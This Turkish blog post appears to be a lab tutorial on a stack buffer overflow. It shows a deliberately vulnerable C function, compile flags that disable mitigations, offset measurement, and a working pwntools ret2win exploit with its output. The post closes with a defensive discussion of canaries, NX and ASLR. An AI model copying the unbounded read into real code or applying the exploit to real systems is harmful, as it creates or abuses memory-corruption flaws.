---
title: "Stack Buffer Overflow: Segfault'tan RIP Kontrolüne (Ret2win)"
description: "Yolculuğun AD dışı yarısı: 64 baytlık bir stack buffer, sınırsız bir read ve bir segfault'u instruction pointer kontrolüne çeviren tam adımlar. Linux konteynerinde canlı derlendi; tek tuzakla birlikte — return address, saf hesabın söylediği yerde değil."
date: 2026-11-06
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/stack-buffer-overflow-ret2win/
---

## Kutunun diğer yarısı

Active Directory serisi bir ele geçirmenin Windows yarısını anlatıyor. Bu yazı diğer yarıyı ele alıyor: girdisine güvenen bir Linux programı ve "çöktü" durumunu "instruction pointer'ı kontrol ediyorum"a çeviren mekanik adımlar. Anlatı biçimi yazdığım her şeyle aynı — **keşif yap, istismar et, sonra geride ne bıraktığını söyle** — tek fark, hedefin bir domain değil tek bir stack frame olması. Ölçek küçülse de mantık aynı kalıyor: önce hedefi tanı, sonra zayıf noktayı kullan, en sonunda da ne elde ettiğini kanıtla. Bir programın girdisine ne kadar güvendiği çoğu zaman tek bir sistem çağrısında gizlidir; bu yazıda o çağrı `read` ve hata da tam olarak orada başlıyor.

Bunu `gcc` ve `pwntools` kurulu bir Linux konteynerinde yapıyorum; çünkü bu teknik gerçekten bu ortamda yaşıyor. Konteyner, deneyi tekrarlanabilir tutarken modern bir dağıtımın varsayılan korumalarını da gözlemleyebileceğim bir zemin sağlıyor.

## 256 bayt okuyan 64 baytlık buffer

Zafiyet bilerek küçük tutulmuş; böylece tüm mekanizma tek bakışta anlaşılıyor. `parse_session_hdr` 64 baytlık bir buffer tanımlıyor ama içine 256 bayta kadar okuyor:

```c
void parse_session_hdr() {
    char token[64];
    int n = read(0, token, 256);   // 256 bytes into a 64-byte buffer
    write(1, "[*] parsed: ", 12);
    write(1, token, n);
}
```

Derleyici bunu daha derleme anında söylüyor: `warning: 'read' writing 256 bytes into a region of size 64 overflows the destination`. Gerçek zafiyetler tam olarak bu kadar sıkıcıdır: eksik bir boyut kontrolü ya da yanlış yazılmış bir boyut sabiti. Buradaki hata `read` çağrısının üçüncü argümanında; buffer'ın kapasitesi ile okunacak bayt sayısı birbirinden bağımsız iki sayı olarak yazılmış ve ikincisi birinciden büyük.

Mekaniğin görünür olması için derlerken modern mitigasyonları kapatıyorum:

```bash
$ gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none -o authd authd.c
```

Sonra `checksec` bana neyle çalıştığımı söylüyor:

```bash
$ checksec ./authd
    Arch:       amd64-64-little
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
```

**Canary yok**, **PIE yok** ve **executable stack**. Bunların her biri normalde açık olan bir korumadır ve her birinin yokluğu belirli bir saldırıyı mümkün kılar. Onları adlandırmak, bu yazının genelleşen kısmı: canary, buffer ile return address arasında duran rastgele değer sayesinde üzerine yazmayı `ret` çalışmadan yakalar; PIE kod tabanının her çalıştırmada taşınmasını sağlar; NX ise stack'e koyduğun verinin kod olarak yürütülmesini engeller. Üçü de kapalıyken geriye tek bir soru kalıyor: offset kaç?

## Offset, hesabın söylediği yerde değil

Saf hesap `64 (buffer) + 8 (saved RBP) = 72`. 72 tane `A` besle, ardından bir adres koy; RIP'in kontrolünün sende olması beklenir. Burada öyle olmuyor — süreç hiçbir şey olmamış gibi normal dönüyor. Payload'ı biraz daha uzattığında ise segfault alıyorsun:

```bash
$ ./authd < <(python3 -c "print('A'*200)")
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
Segmentation fault (core dumped)
```

Saf offsetin yanlış olmasının nedeni, derleyicinin hizalama için stack frame'e dolgu eklemesi; bu yüzden return address `buffer + 72` adresinde değil. Payload uzunluklarını deneyerek kontrolün gerçekten seçtiğin adrese düştüğü noktayı aradığında sayı **88**'de sabitleniyor:

```bash
offset  64: no (rc=0)
offset  72: no (rc=0)
offset  88: WIN
offset  96: no (rc=-11)
```

Bu tablo dersin kendisi. `64 + 8` bir tahmindir, ölçülmüş bir offset değil. Gerçek sayı, çökmenin nerede olduğunu izlemekten çıkar: normal bir lab'da cyclic pattern (`cyclic 200` / `cyclic_find`) ile, debugger takılı değilken ise uzunlukları sabırla deneyerek. Önemli olan offseti *ölçmek*; varsaymak değil. Bu alışkanlık, farklı bir derleyici sürümü ya da farklı bir optimizasyon seviyesiyle karşılaştığında seni yanılmaktan kurtarır. Aynı kaynak kodu, farklı bayraklarla derlendiğinde bambaşka bir frame üretebilir; bu yüzden offset her hedef için yeniden doğrulanmalıdır.

## Ret2win: RIP'i bayrağa yönlendir

Hedef binary, hiçbir yerde çağrılmayan bir `win()` fonksiyonu içeriyor. Amaç tam olarak bu: return address'in üzerine yaz, `ret` komutu `win()`'in içine düşsün.

```python
from pwn import *

e = ELF("./authd")
win = e.symbols["win"]        # 0x401166
offset = 88
payload = b"A" * offset + p64(win)

p = process("./authd")
p.send(payload)
print(p.recvall(timeout=2).decode(errors="replace"))
```

Seksen sekiz `A` buffer'ı, dolguyu ve saved base pointer'ı doldurur; sonraki sekiz bayt return address'i `0x401166` ile ezer; `parse_session_hdr` döndüğünde yürütme `win()`'e atlar:

```bash
[*] parsed: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...f@
[+] win() reached - RIP is yours
```

Bu tek satır, işin karşılığının tamamı: instruction pointer artık saldırganın kontrolünde. `win()` içinde `system("/bin/sh")` çağrıldığını varsayarsak, gerçek bir engagement'ta o satır shell'in düştüğü andır. Yani "çökme" ile "kod çalıştırma" arasındaki mesafe, doğru ölçülmüş tek bir offset kadar.

## Asıl içerik mitigasyonlar

Üç korumayı geri açmak problemi tamamen değiştirir; çünkü her biri saldırının farklı bir aşamasını hedef alır:

- **Canary** (`-fstack-protector`): buffer ile return address arasına rastgele bir değer koyar. Üzerine yazma `ret` çalışmadan önce fark edilir; yani kör bir overwrite, çalıştırılmak yerine yakalanır.
- **NX** (non-executable stack): RIP kontrolü elinde olsa bile stack'e yerleştirdiğin shellcode'a atlayamazsın; ROP ya da return-to-libc gibi başka bir teknik gerekir.
- **PIE + ASLR**: kod tabanı her çalıştırmada yer değiştirir; bu yüzden `0x401166` gibi sabit bir adres işe yaramaz ve önce bir bellek sızıntısı elde etmen gerekir.

Bunların her biri, bir operatörün bir derleme bayrağı ya da bir sysctl ile açabileceği bir kontrol. Tek tek ele alındığında her koruma aşılabilir görünebilir; birlikte çalıştıklarında ise saldırının maliyetini kat kat artırır ve çoğu zaman sıradan bir hatayı sömürülemez hale getirir. Bu notun savunmacı yarısı da tam olarak burada: aynı mekanizmayı bilmek, hangi korumanın hangi adımı kestiğini bilmek demek.

## Özet

| Adım | Komut / sonuç |
| --- | --- |
| Hedefi derle | `gcc -fno-stack-protector -z execstack -no-pie ...` |
| Mitigasyonları incele | `checksec` → canary yok, PIE yok, RWX stack |
| Overflow'u kanıtla | 200 `A` → `Segmentation fault` |
| Offseti ölç | 88, saf 72 değil |
| RIP'i yönlendir | `b"A"*88 + p64(win)` → `[+] win() reached` |

<figure class="diagram">
<svg viewBox="0 0 760 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="64-bit ELF yığın çerçevesinde stack buffer overflow yerleşimi: 64 baytlık token buffer, 16 baytlık derleyici hizalama dolgusu ve 8 baytlık kayıtlı RBP birleşerek win() adresinin yazıldığı RIP öncesinde 88 baytlık offset oluşturur.">
<defs><marker id="bo1" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">STACK FRAME YERLEŞİMİ · KAYITLI RIP İÇİN ÖLÇÜLEN 88 BAYT OFFSET</text>
<rect x="0" y="40" width="220" height="120" rx="8" class="dg-box" />
<text x="14" y="66" class="dg-label">1 · Frame buffer</text>
<text x="14" y="88" class="dg-mono dg-compact">token[64] + 16B dolgu</text>
<text x="14" y="108" class="dg-muted">read(0, token, 256)</text>
<line x1="220" y1="100" x2="262" y2="100" class="dg-line-crit" marker-end="url(#bo1)" />
<rect x="266" y="40" width="230" height="120" rx="8" class="dg-box-accent" />
<text x="280" y="66" class="dg-label">2 · Kayıtlı RBP (+80..88)</text>
<text x="280" y="88" class="dg-mono dg-compact">toplam 88 bayt önek</text>
<text x="280" y="108" class="dg-muted">derleyici hizalama boşluğu</text>
<line x1="496" y1="100" x2="538" y2="100" class="dg-line-crit" marker-end="url(#bo1)" />
<rect x="542" y="40" width="218" height="120" rx="8" class="dg-box-danger" />
<text x="556" y="66" class="dg-label">3 · Kayıtlı RIP (+88)</text>
<text x="556" y="88" class="dg-mono dg-compact">p64(0x401166) → win()</text>
<text x="556" y="108" class="dg-crit">instruction pointer kontrolü</text>
</svg>
<figcaption>Saf hesabın neden yanıldığı: 64 baytlık buffer ile 8 baytlık kayıtlı RBP arasında 16 baytlık derleyici hizalaması yer alır ve dönüş adresini 88. bayta taşır.</figcaption>
</figure>

## Kanıt ve sınırlar

Zafiyetli `authd` ikili dosyası, koruma mekanizmalarının gürültüsü olmadan ham stack frame geometrisini göstermek amacıyla izole bir x86-64 Linux konteyneri içinde (`gcc -fno-stack-protector -z execstack -no-pie -fcf-protection=none`) derlenmiş ve istismar edilmiştir. Modern Linux dağıtımlarında varsayılan olarak açık gelen stack canary, NX, PIE ve ASLR korumaları, ayrı bir bellek sızıntısı ve ROP zinciri olmadan sabit adresli `ret2win` üzerine yazma işlemini engeller. Bu yazıdaki sonuçlar, korumaların bilinçli olarak kapatıldığı bu izole ortama aittir; korumalı bir sistemde aynı adreslerle doğrudan tekrar edilemez.

## Referanslar

- **Felix Cloutier, x86 Instruction Reference:** [felixcloutier.com/x86](https://www.felixcloutier.com/x86/)
- **pwntools:** [github.com/Gallopsled/pwntools](https://github.com/Gallopsled/pwntools)
- **OWASP, Buffer Overflow Attack:** [owasp.org](https://owasp.org/www-community/attacks/Buffer_overflow_attack)
- **MITRE ATT&CK, Exploitation for Client Execution (T1203):** [attack.mitre.org/techniques/T1203](https://attack.mitre.org/techniques/T1203/)
- **Linux man-pages, proc_sys_kernel (5):** [man7.org](https://man7.org/linux/man-pages/man5/proc_sys_kernel.5.html)
